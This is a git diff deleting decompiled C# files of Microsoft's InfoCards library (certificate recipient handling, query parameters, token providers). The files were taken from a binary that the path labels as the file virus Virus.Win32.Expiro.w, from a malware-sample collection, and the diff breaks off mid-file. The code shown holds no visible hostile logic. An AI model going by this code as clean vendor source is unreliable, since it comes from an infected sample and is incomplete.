3f1a612a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryParameter.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryParameter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class QueryParameter - { - private string m_indexName; - private List m_objects; - - public QueryParameter(string name) - { - this.m_indexName = !string.IsNullOrEmpty(name) ? name : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (name)); - this.m_objects = new List(); - } - - public QueryParameter(string name, params object[] values) - : this(name) - { - for (int index = 0; index < values.Length; ++index) - this.AddMatch(values[index]); - } - - public string IndexName - { - get => this.m_indexName; - internal set => this.m_indexName = value; - } - - internal IndexObject this[int index] => this.m_objects[index]; - - public int Count => this.m_objects.Count; - - public void Clear() => this.m_objects.Clear(); - - public void AddCompiled(byte[] compiledForm) => this.m_objects.Add(new IndexObject(compiledForm)); - - public void AddMatch(params object[] values) - { - if (values == null || values.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (values)); - this.m_objects.Add(new IndexObject(values)); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryStoreStatusRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryStoreStatusRequest.cs deleted file mode 100644 index 75e5580e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/QueryStoreStatusRequest.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryStoreStatusRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class QueryStoreStatusRequest : UIAgentRequest - { - private bool m_storeStatus; - - public QueryStoreStatusRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.OnInitializeAsSystem(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_storeStatus = connection.IsDataSourceCleared(connection.LocalDataSource); - if (!this.m_storeStatus) - return; - connection.ResetDataSourceClearedFlag(connection.LocalDataSource); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs).Write(this.m_storeStatus); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RPIdentityRequirement.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RPIdentityRequirement.cs deleted file mode 100644 index 4b5b8cbe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RPIdentityRequirement.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RPIdentityRequirement -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RPIdentityRequirement - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - private bool m_RPIdentityRequirement; - - private RPIdentityRequirement() - { - } - - public RPIdentityRequirement(Uri infoCardId, bool RPIdentityRequirement) - : this() - { - this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - this.m_RPIdentityRequirement = RPIdentityRequirement; - } - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream) => new BinaryWriter(stream, Encoding.Unicode).Write(this.m_RPIdentityRequirement); - - public void Deserialize(Stream stream) => this.m_RPIdentityRequirement = new InfoCardBinaryReader(stream, Encoding.Unicode).ReadBoolean(); - - public void Save(StoreConnection con) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 5; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public bool StrongIdentityRequired - { - get => this.m_RPIdentityRequirement; - set => this.m_RPIdentityRequirement = value; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 5 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RSATokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RSATokenProvider.cs deleted file mode 100644 index 30bce7ec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RSATokenProvider.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RSATokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; - -namespace Microsoft.InfoCards -{ - internal class RSATokenProvider : SecurityTokenProvider, IDisposable - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - private SelfIssuedAuthProofToken m_RSAToken; - - public RSATokenProvider(InfoCardPolicy policy, InfoCard card) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - this.m_policy = policy; - this.m_card = card; - } - - public void Dispose() - { - if (this.m_RSAToken == null) - return; - this.m_RSAToken.Dispose(); - this.m_RSAToken = (SelfIssuedAuthProofToken) null; - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) - { - if (this.m_RSAToken == null) - this.m_RSAToken = new SelfIssuedAuthProofToken(this.m_card.GetPrivateCryptography(this.m_policy.Recipient.GetIdentifier()), DateTime.UtcNow + timeout); - return (SecurityToken) this.m_RSAToken; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Recipient.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Recipient.cs deleted file mode 100644 index 3f3a570e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Recipient.cs +++ /dev/null @@ -1,414 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Recipient -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class Recipient - { - private const int InvalidRow = 0; - private const byte Version = 1; - private const byte m_marker = 29; - public const int CERT_NAME_ATTR_TYPE = 3; - public const string szOID_SUBJECT_CN = "2.5.4.3"; - public const string szOID_ORGANIZATION_NAME = "2.5.4.10"; - public const string szOID_LOCALITY_NAME = "2.5.4.7"; - public const string szOID_STATE_OR_PROVINCE_NAME = "2.5.4.8"; - public const string szOID_COUNTRY_NAME = "2.5.4.6"; - private const int attributeMaxLength = 1024; - private static readonly Recipient.RecipientAttribute CNAttr = new Recipient.RecipientAttribute("2.5.4.3", "CN"); - private static readonly Recipient.RecipientAttribute OrgAttr = new Recipient.RecipientAttribute("2.5.4.10", "O"); - private static readonly Recipient.RecipientAttribute LocalityAttr = new Recipient.RecipientAttribute("2.5.4.7", "L"); - private static readonly Recipient.RecipientAttribute StateOrProvinceAttr = new Recipient.RecipientAttribute("2.5.4.8", "S"); - private static readonly Recipient.RecipientAttribute CountryAttr = new Recipient.RecipientAttribute("2.5.4.6", "C"); - private string m_recipientId; - private string m_recipientOrganizationId; - private string m_issuerName; - private string m_subjectName; - private uint m_privacyNoticeVersion; - private Recipient.IdentityType m_type; - private Recipient.TrustDecision m_trustDecision; - private Recipient.RecipientCertParameters m_recipientParams = new Recipient.RecipientCertParameters("", "", "", "", "", Utility.SubjectAtrributeHAFlags.NotEnabled); - private bool m_isCertCached; - private int m_rowId; - private byte[] m_publicKey; - private List m_logoMetadata; - - public Recipient(Stream stream) - : this(stream, false) - { - } - - public Recipient(Stream stream, RecipientIdentity identity, bool isCertCached) - : this(stream, isCertCached) - { - if (!(identity is X509RecipientIdentity recipientIdentity)) - return; - this.m_type = Recipient.IdentityType.X509; - this.AddLogoMetadata(recipientIdentity.LeafCertificate); - this.m_recipientParams = recipientIdentity.RecipientParams; - } - - private Recipient(Stream stream, bool isCertCached) - { - this.m_isCertCached = isCertCached; - this.Deserialize(stream); - } - - public Recipient(RecipientIdentity identity, bool isCertCached, uint privacyNoticeVersion) - { - this.m_trustDecision = Recipient.TrustDecision.NoTrustDecision; - this.m_isCertCached = isCertCached; - this.m_privacyNoticeVersion = privacyNoticeVersion; - this.m_recipientId = identity.GetIdentifier(); - this.m_recipientOrganizationId = identity.GetOrganizationIdentifier(); - this.m_subjectName = identity.GetName(); - if (!(identity is X509RecipientIdentity recipientIdentity)) - return; - this.m_type = Recipient.IdentityType.X509; - this.m_issuerName = recipientIdentity.LeafCertificate.GetNameInfo(X509NameType.SimpleName, true); - this.m_recipientParams = recipientIdentity.RecipientParams; - this.m_publicKey = recipientIdentity.LeafCertificate.GetPublicKey(); - this.AddLogoMetadata(recipientIdentity.LeafCertificate); - } - - public Recipient( - X509Certificate2 cert, - string recipientId, - string recipientOrgId, - bool isCertCached, - uint privacyNoticeVersion, - Recipient.RecipientCertParameters recipientParameters) - { - this.m_type = Recipient.IdentityType.X509; - this.m_trustDecision = Recipient.TrustDecision.NoTrustDecision; - this.m_publicKey = cert.GetPublicKey(); - this.m_isCertCached = isCertCached; - this.m_privacyNoticeVersion = privacyNoticeVersion; - this.m_subjectName = cert.FriendlyName; - if (string.IsNullOrEmpty(this.m_subjectName)) - this.m_subjectName = cert.GetNameInfo(X509NameType.SimpleName, false); - this.m_issuerName = cert.GetNameInfo(X509NameType.SimpleName, true); - this.m_recipientId = recipientId; - this.m_recipientOrganizationId = recipientOrgId; - this.m_recipientParams = recipientParameters; - this.AddLogoMetadata(cert); - } - - public string RecipientId - { - get - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_recipientId), "Must be populated before this property is accessed"); - return this.m_recipientId; - } - } - - public Recipient.RecipientCertParameters RecipientParameters => this.m_recipientParams; - - public uint PrivacyPolicyVersion - { - get => this.m_privacyNoticeVersion; - set => this.m_privacyNoticeVersion = value; - } - - public static byte[] CertGetRecipientIdBytesForChainTrust( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool getOrganizationId, - out Recipient.RecipientCertParameters recipientParams) - { - recipientParams = new Recipient.RecipientCertParameters("", "", "", "", "", Utility.SubjectAtrributeHAFlags.NotEnabled); - string str1 = ""; - string certAttribute1 = Recipient.GetCertAttribute(Recipient.OrgAttr.Name, recipientCert.Handle); - string certAttribute2 = Recipient.GetCertAttribute(Recipient.LocalityAttr.Name, recipientCert.Handle); - string certAttribute3 = Recipient.GetCertAttribute(Recipient.StateOrProvinceAttr.Name, recipientCert.Handle); - string certAttribute4 = Recipient.GetCertAttribute(Recipient.CountryAttr.Name, recipientCert.Handle); - recipientParams.m_cn = Recipient.GetCertAttribute(Recipient.CNAttr.Name, recipientCert.Handle); - recipientParams.m_organization = certAttribute1; - recipientParams.m_locality = certAttribute2; - recipientParams.m_state = certAttribute3; - recipientParams.m_country = certAttribute4; - if (string.IsNullOrEmpty(certAttribute1) && string.IsNullOrEmpty(certAttribute2) && string.IsNullOrEmpty(certAttribute3) && string.IsNullOrEmpty(certAttribute4)) - return recipientCert.GetPublicKey(); - string str2; - if (getOrganizationId) - str2 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|{2}=\"{3}\"|{4}=\"{5}\"|{6}=\"{7}\"|", (object) Recipient.OrgAttr.DelimitingString, (object) certAttribute1, (object) Recipient.LocalityAttr.DelimitingString, (object) certAttribute2, (object) Recipient.StateOrProvinceAttr.DelimitingString, (object) certAttribute3, (object) Recipient.CountryAttr.DelimitingString, (object) certAttribute4); - else - str2 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|{2}=\"{3}\"|{4}=\"{5}\"|{6}=\"{7}\"|{8}=\"{9}\"|", (object) Recipient.CNAttr.DelimitingString, (object) recipientParams.m_cn, (object) Recipient.OrgAttr.DelimitingString, (object) certAttribute1, (object) Recipient.LocalityAttr.DelimitingString, (object) certAttribute2, (object) Recipient.StateOrProvinceAttr.DelimitingString, (object) certAttribute3, (object) Recipient.CountryAttr.DelimitingString, (object) certAttribute4); - Utility.SubjectAtrributeHAFlags certFlags = Utility.SubjectAtrributeHAFlags.NotEnabled; - string s; - if (Utility.GetCertHAFlags(recipientCert, supportingRecipientCerts, ref certFlags)) - { - recipientParams.m_certHAFlags = certFlags; - int num = Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.LocStateCountryHA) ^ Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.OrganizationHA) ? 1 : 0; - s = str2; - if (string.IsNullOrEmpty(s)) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("InvalidHACertificateStructure"))); - } - else - { - X509Chain chain; - try - { - InfoCardX509Validator.ValidateChain(recipientCert, supportingRecipientCerts, out chain); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("UnableToBuildChainForNonHARecipient"), (Exception) ex)); - } - for (int index = 1; index < chain.ChainElements.Count; ++index) - str1 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|ChainElement=\"{0}\"{1}", new object[2] - { - (object) chain.ChainElements[index].Certificate.Subject, - (object) str1 - }); - s = str1 + str2; - } - return Encoding.Unicode.GetBytes(s); - } - - public static string CertGetRecipientOrganizationIdHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted) - { - byte[] buffer = isChainTrusted ? Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, true, out Recipient.RecipientCertParameters _) : recipientCert.GetPublicKey(); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - public static string CertGetRecipientIdHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted, - out Recipient.RecipientCertParameters recipientParams) - { - byte[] buffer; - if (!isChainTrusted) - { - buffer = recipientCert.GetPublicKey(); - recipientParams = new Recipient.RecipientCertParameters(Recipient.GetCertAttribute(Recipient.CNAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.OrgAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.LocalityAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.StateOrProvinceAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.CountryAttr.Name, recipientCert.Handle), Utility.SubjectAtrributeHAFlags.NotEnabled); - } - else - buffer = Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, false, out recipientParams); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - private static string GetCertAttribute(string geographicAttributeName, IntPtr certHandle) - { - StringBuilder pszNameString = new StringBuilder(1024); - NativeMethods.CertGetNameString(certHandle, 3, 0, geographicAttributeName, pszNameString, 1024); - return pszNameString.ToString(); - } - - public Recipient.TrustDecision Trust - { - set => this.m_trustDecision = value; - get => this.m_trustDecision; - } - - private void ThrowIfNotComplete() - { - bool flag = this.m_recipientId != null && null != this.m_subjectName; - if (Recipient.IdentityType.X509 == this.m_type) - flag = flag && this.m_issuerName != null && !Utility.ArrayIsNullOrEmpty((Array) this.m_publicKey); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - private void AddLogoMetadata(X509Certificate2 cert) - { - X509LogoTypeExtension logoTypeExtension = X509LogoTypeExtension.FromCertificate(cert); - if (logoTypeExtension == null) - return; - logoTypeExtension.TryDecodeExtension(); - this.m_logoMetadata = logoTypeExtension.Logos; - } - - public void Serialize(BinaryWriter writer) => this.AgentSerialize(writer); - - public void AgentSerialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write((byte) this.m_type); - writer.Write(this.m_isCertCached); - writer.Write((uint) this.m_recipientParams.m_certHAFlags); - Utility.SerializeString(writer, this.m_recipientParams.m_cn); - Utility.SerializeString(writer, this.m_recipientParams.m_organization); - Utility.SerializeString(writer, this.m_recipientParams.m_locality); - Utility.SerializeString(writer, this.m_recipientParams.m_state); - Utility.SerializeString(writer, this.m_recipientParams.m_country); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_recipientOrganizationId); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeString(writer, this.m_subjectName); - writer.Write(this.m_privacyNoticeVersion); - Utility.SerializeBytes(writer, this.m_publicKey); - writer.Write((byte) this.m_trustDecision); - if (this.m_logoMetadata == null) - { - writer.Write(0); - } - else - { - writer.Write(this.m_logoMetadata.Count); - foreach (X509Logo x509Logo in this.m_logoMetadata) - x509Logo.Serialize(writer); - } - writer.Write((byte) 29); - } - - public void SerializeToStore(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write((uint) this.m_recipientParams.m_certHAFlags); - Utility.SerializeString(writer, this.m_recipientParams.m_cn); - Utility.SerializeString(writer, this.m_recipientParams.m_organization); - Utility.SerializeString(writer, this.m_recipientParams.m_locality); - Utility.SerializeString(writer, this.m_recipientParams.m_state); - Utility.SerializeString(writer, this.m_recipientParams.m_country); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_recipientOrganizationId); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeString(writer, this.m_subjectName); - writer.Write(this.m_privacyNoticeVersion); - Utility.SerializeBytes(writer, this.m_publicKey); - writer.Write((byte) this.m_trustDecision); - writer.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != reader.ReadByte()) - InfoCardTrace.Assert(false, "version mismatch deserializing recipient stream"); - this.m_recipientParams = new Recipient.RecipientCertParameters(); - this.m_recipientParams.m_certHAFlags = (Utility.SubjectAtrributeHAFlags) reader.ReadUInt32(); - this.m_recipientParams.m_cn = Utility.DeserializeString(reader); - this.m_recipientParams.m_organization = Utility.DeserializeString(reader); - this.m_recipientParams.m_locality = Utility.DeserializeString(reader); - this.m_recipientParams.m_state = Utility.DeserializeString(reader); - this.m_recipientParams.m_country = Utility.DeserializeString(reader); - this.m_recipientId = Utility.DeserializeString(reader); - this.m_recipientOrganizationId = Utility.DeserializeString(reader); - this.m_issuerName = Utility.DeserializeString(reader); - this.m_subjectName = Utility.DeserializeString(reader); - this.m_privacyNoticeVersion = reader.ReadUInt32(); - this.m_publicKey = reader.ReadBytes(reader.ReadInt32()); - this.m_type = this.m_publicKey.Length != 0 ? Recipient.IdentityType.X509 : Recipient.IdentityType.DNS; - this.m_trustDecision = (Recipient.TrustDecision) reader.ReadByte(); - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected deserilizing recipient"); - this.ThrowIfNotComplete(); - } - - public void Save(StoreConnection con) - { - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -3; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_name", (object) this.m_recipientId); - MemoryStream output = new MemoryStream(); - this.SerializeToStore(new BinaryWriter((Stream) output, Encoding.Unicode)); - row.SetDataField(output.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public override string ToString() => base.ToString(); - - public bool IsOrganizationVerified() - { - Utility.SubjectAtrributeHAFlags atrributeHaFlags = Utility.SubjectAtrributeHAFlags.Enabled | Utility.SubjectAtrributeHAFlags.OrganizationHA; - return (this.m_recipientParams.m_certHAFlags & atrributeHaFlags) == atrributeHaFlags; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) => con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - - public enum TrustDecision : byte - { - NoTrustDecision, - IsTrusted, - IsNotTrusted, - PolicyVersionChange, - } - - public enum IdentityType : byte - { - DNS, - X509, - } - - public struct RecipientCertParameters - { - public string m_cn; - public string m_organization; - public string m_locality; - public string m_state; - public string m_country; - public Utility.SubjectAtrributeHAFlags m_certHAFlags; - - public RecipientCertParameters( - string cn, - string organization, - string locality, - string state, - string country, - Utility.SubjectAtrributeHAFlags certHAFlags) - { - this.m_cn = cn; - this.m_organization = organization; - this.m_locality = locality; - this.m_state = state; - this.m_country = country; - this.m_certHAFlags = certHAFlags; - } - } - - private struct RecipientAttribute - { - private string m_name; - private string m_delimitingString; - - public RecipientAttribute(string name, string delimitingString) - { - this.m_name = name; - this.m_delimitingString = delimitingString; - } - - public string DelimitingString => this.m_delimitingString; - - public string Name => this.m_name; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RecipientIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RecipientIdentity.cs deleted file mode 100644 index 79420504..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RecipientIdentity.cs +++ /dev/null @@ -1,87 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RecipientIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; -using System.ServiceModel; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RecipientIdentity - { - private EndpointAddress m_address; - private string m_identifier = string.Empty; - private string m_organizationIdentifier = string.Empty; - private bool m_hasBeenValidated; - - public static RecipientIdentity CreateIdentity( - EndpointAddress epr, - bool validate) - { - if (epr.Identity is X509CertificateEndpointIdentity) - { - if (((X509CertificateEndpointIdentity) epr.Identity).Certificates == null || ((X509CertificateEndpointIdentity) epr.Identity).Certificates.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException()); - RecipientIdentity identity = (RecipientIdentity) new X509RecipientIdentity(epr, ((X509CertificateEndpointIdentity) epr.Identity).Certificates); - if (validate) - identity.Validate(); - return identity; - } - RecipientIdentity identity1 = epr.Identity == null ? new RecipientIdentity(epr) : throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("UnsupportedIdentityType"))); - if (validate) - identity1.Validate(); - return identity1; - } - - public RecipientIdentity(EndpointAddress epr) => this.m_address = epr; - - public EndpointAddress Address => this.m_address; - - protected bool HasBeenValidated - { - set => this.m_hasBeenValidated = value; - get => this.m_hasBeenValidated; - } - - protected string Identifier - { - set => this.m_identifier = value; - } - - protected string OrganizationIdentifier - { - set => this.m_organizationIdentifier = value; - } - - public virtual void Validate() - { - if (this.m_hasBeenValidated) - return; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - { - this.m_identifier = Convert.ToBase64String(shA256.ComputeHash(Encoding.Unicode.GetBytes(this.m_address.Uri.Host))); - this.m_organizationIdentifier = this.m_identifier; - } - this.m_hasBeenValidated = true; - } - - public virtual string GetIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_identifier; - } - - public virtual string GetOrganizationIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_organizationIdentifier; - } - - public virtual string GetName() => this.m_address.Uri.Host; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs deleted file mode 100644 index 0d787807..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteAsymmetricSignatureFormatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace 